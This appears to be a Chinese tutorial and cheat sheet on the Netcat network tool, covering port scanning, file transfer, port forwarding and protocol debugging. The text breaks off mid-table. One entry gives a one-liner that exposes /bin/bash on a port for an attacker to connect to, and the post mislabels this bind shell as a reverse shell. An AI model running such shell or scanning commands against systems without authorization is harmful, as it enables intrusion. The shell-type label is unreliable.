Netcat(nc)工具使用

Netcat(nc)工具使用

文档配合DeepSheek或ChaiAPI使用

概述

Netcat(简称 nc)是一个功能强大的 命令行网络工具,被称为 “网络瑞士军刀”,支持 TCP/UDP 协议,可用于 端口扫描、数据传输、端口监听、代理转发、反弹 Shell 等多种用途。几乎所有 Linux 发行版都支持,是网络管理员、渗透测试人员和开发者的必备工具。

基本工作原理

网络套接字操作:
  • NC 在底层使用操作系统的套接字(Socket)API

  • 可以创建 TCP 或 UDP 连接

  • 既可以作为客户端发起连接,也可以作为服务器监听端口

数据传输:
  • 建立连接后,NC 在标准输入/输出和网络连接之间建立双向通道

  • 数据从标准输入流向网络连接,同时从网络连接流向标准输出

主要工作模式

客户端模式:
nc [host] [port]
  • 主动连接到指定主机和端口

  • 之后所有键盘输入都会发送到远程主机

  • 远程主机的响应会显示在终端上

服务器模式:
nc -l -p [port]
  • 监听指定端口等待连接

  • 接受连接后,功能与客户端模式类似

主要功能指令速查表

功能 说明 代码示例
端口扫描 检测目标主机的开放端口(类似 nmap) nc -zv 192.168.1.1 80-443
此命令扫描目标 IP 地址(192.168.1.1)上的端口 80 到 443,检查是否开放。
TCP/UDP 连接 作为客户端连接远程服务(如 HTTP、SSH、MySQL) nc 192.168.1.1 80
此命令尝试连接目标主机 192.168.1.1 上的端口 80(通常用于 HTTP)。
对于 UDP:nc -u 192.168.1.1 53(连接到 DNS)。
端口监听 作为服务端监听端口,接收数据 nc -l 8080
此命令在本地主机上打开端口 8080,等待客户端连接并接收数据。
文件传输 在两台机器之间传输文件(类似 scp,但不加密) 发送文件:nc 192.168.1.2 12345 < file.txt
接收文件:nc -l 12345 > file.txt
此命令将 file.txt 从发送方传输到接收方。
反弹 Shell 建立远程控制连接(渗透测试常用) 目标机器上:nc -lvp 4444 -e /bin/bash
攻击者机器上:nc 192.168.1.2 4444
这会建立一个反向 shell 连接,让攻击者可以控制目标机器的 shell。
端口转发 将流量从一个端口转发到另一个端口(类似 socat) nc -l 8080 | nc 192.168.1.1 80
此命令将本地端口 8080 的流量转发到目标主机 192.168.1.1 上的 80 端口。
网络调试 测试网络服务、手动发送 HTTP/MySQL 等协议数据 HTTP 请求:echo -ne "GET / HTTP/1.1\r\nHost: example.com\r\n\r\n" | nc 192.168.1.1 80
此命令手动发送 HTTP 请求到目标 IP 地址上的 80 端口。
MySQL 请求:`echo -e “SHOW DATABASES;”

常用参数说明

参数 说明 示例
-l 监听模式(服务端) nc -l -p 8080
-p 指定监听/连接的端口 nc -l -p 1234
-v 显示详细输出(verbose) nc -v example.com 80
-z 端口
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值